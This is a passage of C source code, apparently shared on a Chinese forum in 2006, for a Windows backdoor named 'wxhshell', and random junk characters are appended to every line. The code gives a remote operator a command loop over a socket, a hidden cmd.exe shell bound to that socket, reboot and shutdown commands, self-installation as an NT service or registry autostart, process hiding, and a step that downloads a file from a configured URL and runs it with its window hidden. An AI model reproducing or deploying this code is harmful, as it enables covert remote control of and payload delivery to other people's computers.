  else e%lxRN"b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =4$ErwI_dm  
  } 4f&"1:  
  else { 9a]{|M9  
\zc R7 5  
    switch(cmd[0]) { as(/ >p  
  >=4('  
  // 帮助 J5(^VKj  
  case '?': { {- &`@V  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S=gb y  
    break; O0FUJGuTS  
  } U:z5`z!  
  // 安装 ]q~bi<E9W  
  case 'i': { n@L@pgo%~  
    if(Install()) U\u07^h[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ez5J+  
    else B Dp")[l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -p?&vQDo`  
    break; CBv0fQtL  
    } PXyv);#Q`  
  // 卸载 Ze[,0Y!u&  
  case 'r': { HB{'MBs  
    if(Uninstall()) \%7fm#z6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;: &|DN3;  
    else Wb>;L@jB7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j XH9P q4  
    break; 9;'#,b*(  
    } 8ok=&Gq4  
  // 显示 wxhshell 所在路径 _!E&%=f  
  case 'p': { )o<^6Ic%7  
    char svExeFile[MAX_PATH]; KIcIYCBz  
    strcpy(svExeFile,"\n\r"); Z+u.LXc|c  
      strcat(svExeFile,ExeFile); 2n$Wey[  
        send(wsh,svExeFile,strlen(svExeFile),0); peF)U !`D  
    break; 1yZA_x15:  
    } L$ i:~6  
  // 重启 *:Rs\QH   
  case 'b': { [}M!ez  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q-+:1E  
    if(Boot(REBOOT)) Rpv[rvK'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0-[naGz  
    else { Lg~C:BN F  
    closesocket(wsh); C[}UQod0  
    ExitThread(0); j!w{  
    } Gx8!AmeX  
    break; S2e3d  
    } _3:%b6&Pz  
  // 关机 ]'"Sa<->  
  case 'd': { 641P)  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bU}v@Uk  
    if(Boot(SHUTDOWN)) x\U[5d   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "V(P)_  
    else { K"x_=^,Yu*  
    closesocket(wsh); [@ev%x,  
    ExitThread(0); 8>t,n,k  
    } pY@QR?F\  
    break; swxX3GR  
    } Pmo<t6  
  // 获取shell n| {#5#  
  case 's': { SDC'S]{ew  
    CmdShell(wsh); N[e,%heR  
    closesocket(wsh); 5 ty2e`~K  
    ExitThread(0); /IG{j}  
    break; ROmmak(y8  
  } -2; 6Pwmv  
  // 退出 PMpq>$6b7  
  case 'x': { yKoZj   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _ ,s^  
    CloseIt(wsh); FGx)?  
    break; `!/[9Y#Hp  
    } $3 P De  
  // 离开 DtFHh/X  
  case 'q': { L7Hv)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v@soS1V!  
    closesocket(wsh); o0]YDX@T  
    WSACleanup(); nj'5iiV`]  
    exit(1); 5XUm}D$  
    break; Ga5*tWj  
        } xy]O8> b  
  } l)vC=V6MG  
  } %+=;4tHJ  
-R]0cefC<f  
  // 提示信息 Bd <0}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P*A+k"DU1  
} Yu\$Y0 {]  
  } N?ccG\t  
R\5,H!V9n  
  return; &F uPd}F  
} a1~|?PCbY  
9gcW;  
// shell模块句柄 XZb=;tYo  
int CmdShell(SOCKET sock) o6px1C:  
{ @T~XwJ~  
STARTUPINFO si; dazNwn  
ZeroMemory(&si,sizeof(si)); LN WS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "t&=~eOe3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8&G9 ?n`I5  
PROCESS_INFORMATION ProcessInfo; 9L:wfg}8s  
char cmdline[]="cmd"; 'EiCT l  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L@{'J  
  return 0; s|e.mZk/  
} ud  r\\5  
X|T|iB,vT  
// 自身启动模式 PPB/-F]rr  
int StartFromService(void) .Qx5,)@9  
{ M5ZH6X@5  
typedef struct x<gmDy*  
{ yws'}{8  
  DWORD ExitStatus; Kf:!tRE  
  DWORD PebBaseAddress; ZKXE7p i  
  DWORD AffinityMask; P!W%KobZ7|  
  DWORD BasePriority; 7P+1W \  
  ULONG UniqueProcessId; i90X0b-A  
  ULONG InheritedFromUniqueProcessId; 'z;(Y*jb  
}   PROCESS_BASIC_INFORMATION; Xx{| [2`  
VGc*aQYa  
PROCNTQSIP NtQueryInformationProcess; b^$`2m-?@f  
ZLT?G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V|MHDMD=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p>7qyZ8  
X$>F78e*  
  HANDLE             hProcess; \R<MQ# x  
  PROCESS_BASIC_INFORMATION pbi; #{}?=/nJ~-  
(<eLj Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %=UD~5!G0  
  if(NULL == hInst ) return 0; BA c+T  
KMj\A d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }#FV{C]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wuH*a3(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +Ww] %`_  
MW 7~=T  
  if (!NtQueryInformationProcess) return 0; * @4@eQF  
9fEe={ B+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'Gn>~m  
  if(!hProcess) return 0; T]De{nHu  
SA +d4P_T  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +c))fPuV  
e"t0 rScA  
  CloseHandle(hProcess); $Q/@5f'T`9  
HDH G~<s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B-MS@ <2  
if(hProcess==NULL) return 0; ,a{85HLr]  
rkjnw@x\  
HMODULE hMod; A3a//e  
char procName[255]; :hZM$4  
unsigned long cbNeeded; ]o<]A[<  
Kz"3ba}KH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XPX?+W=mv  
(SyD)G\rj  
  CloseHandle(hProcess); W#F9Qw  
Hh1_zd|  
if(strstr(procName,"services")) return 1; // 以服务启动 XGB\rf vS  
@ b!]Jw  
  return 0; // 注册表启动 .yj@hpJM  
} 4/b.;$  
,W}:vdC  
// 主模块 ( V4Ppg  
int StartWxhshell(LPSTR lpCmdLine) dipfsH]p  
{ %]4Tff  
  SOCKET wsl; ;;,7Jon2  
BOOL val=TRUE; 9-;-jnDy  
  int port=0; 4aS}b3=n  
  struct sockaddr_in door; dEJqgp}\p  
{$^'oRk  
  if(wscfg.ws_autoins) Install(); ?P'$Vxl  
<l<O2l  
port=atoi(lpCmdLine); Z_q+Ac{p  
.^wpfS  
if(port<=0) port=wscfg.ws_port; c<_%KL&R  
|UB$^)Twb  
  WSADATA data; /3ohm|!rW  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hTtn /j  
JY"jj}H]|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,.<mj !YE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [./FzlAs  
  door.sin_family = AF_INET; ?@ oF@AEx=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KW .4 9  
  door.sin_port = htons(port); cqG6di7#  
<+k&8^:bi  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { EV?}oh"x  
closesocket(wsl); H>C bMz1u  
return 1; =Wcvb?;*  
} }p~2lOI  
oPKLr31zt  
  if(listen(wsl,2) == INVALID_SOCKET) { ^p3 GT6  
closesocket(wsl); "W7|Xp  
return 1; `WayR^9  
} ab6I*DbF  
  Wxhshell(wsl); ''nOXl  
  WSACleanup(); h$02#(RHJ  
OD8 fn  
return 0; MNu0t\`p4  
RrMEDMhk6  
} nJ;^Sz17Q  
:AzT=^S  
// 以NT服务方式启动 Wlc&QOfF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g+#awi7  
{ M6g8+sio  
DWORD   status = 0; 1@|+l!rYF  
  DWORD   specificError = 0xfffffff; (uC8M,I\  
UY(T>4H+h  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X!]v4ma`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Xq135/d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &D<R;>iI  
  serviceStatus.dwWin32ExitCode     = 0; 1wR[nBg*|  
  serviceStatus.dwServiceSpecificExitCode = 0; T-] {gc  
  serviceStatus.dwCheckPoint       = 0; 4m0^ N  
  serviceStatus.dwWaitHint       = 0; zy,SL |6:  
%B$ftsYXmu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,';|CGI cP  
  if (hServiceStatusHandle==0) return; xgk~%X%K  
q94;x|63  
status = GetLastError(); `\UY5n72  
  if (status!=NO_ERROR) =%W:N|k  
{ r07u6OA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; flmQNrC.8  
    serviceStatus.dwCheckPoint       = 0; \FsA-W\X  
    serviceStatus.dwWaitHint       = 0; 0/GBs~P  
    serviceStatus.dwWin32ExitCode     = status;  @lN\.O  
    serviceStatus.dwServiceSpecificExitCode = specificError; \W*L9azr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t%}<S~"  
    return; R;OPY?EeW  
  } yNI0Do 2  
,6>3aD1w~q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =z'(FP5!0  
  serviceStatus.dwCheckPoint       = 0; VVeJe"!t  
  serviceStatus.dwWaitHint       = 0; uPfz'|,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \bARp z?a  
} jrQ0-D%M d  
aC,adNub  
// 处理NT服务事件,比如:启动、停止 'zYS:W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) "6jt$-?  
{ 7"(Zpu  
switch(fdwControl) nm5DNpHk  
{ ;I4vPh5Q  
case SERVICE_CONTROL_STOP: e8vy29\S  
  serviceStatus.dwWin32ExitCode = 0; KuP#i]Na  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \GL] I.  
  serviceStatus.dwCheckPoint   = 0; Jpapl%7v  
  serviceStatus.dwWaitHint     = 0; (h0@;@@7hW  
  { Hhknjx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A)U"F&tvm  
  } v5M4Rs&t  
  return; h*fN]k6  
case SERVICE_CONTROL_PAUSE: =ANr|d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F!X0Wo=  
  break; @;4;72@O  
case SERVICE_CONTROL_CONTINUE: =dAAb\:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7p1Y g  
  break; u}%OC43  
case SERVICE_CONTROL_INTERROGATE: aGbG@c8PRi  
  break; 5SY%B#;5G  
}; bWo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /WnCAdDgZ  
} F*KQhH7Gf  
 FSMM  
// 标准应用程序主函数 Ph=NH8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l2LQV]l  
{ E+/Nicn=  
tc'iKJ5)  
// 获取操作系统版本 :H&Q!\a  
OsIsNt=GetOsVer(); uz!8=,DFw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ({E,}x  
#Pg#\v|7#>  
  // 从命令行安装 F+hV'{|w`  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8Yq06o38C  
FsED9+/m  
  // 下载执行文件 TanWCt4r  
if(wscfg.ws_downexe) { m \)B=H!bz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %tVU Rj  
  WinExec(wscfg.ws_filenam,SW_HIDE); (,I:m[0  
} ;U'\"N9  
3= =["hO  
if(!OsIsNt) { p:xyy*I  
// 如果时win9x,隐藏进程并且设置为注册表启动 2PQBUq  
HideProc(); '/I`dj  
StartWxhshell(lpCmdLine); cNd&C'/N  
} `Q*`\-8J  
else JQKXbsXS  
  if(StartFromService()) F7<mm7BGZ  
  // 以服务方式启动 +v B}E  
  StartServiceCtrlDispatcher(DispatchTable); 2'fd4 rE5  
else O!"K'Bm  
  // 普通方式启动  :tZsSK  
  StartWxhshell(lpCmdLine); dUv@u !}B  
wH|%3 @eJ  
return 0; cP?GRMX@}  
}
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只看该作者 1 发表于: 2006-10-10
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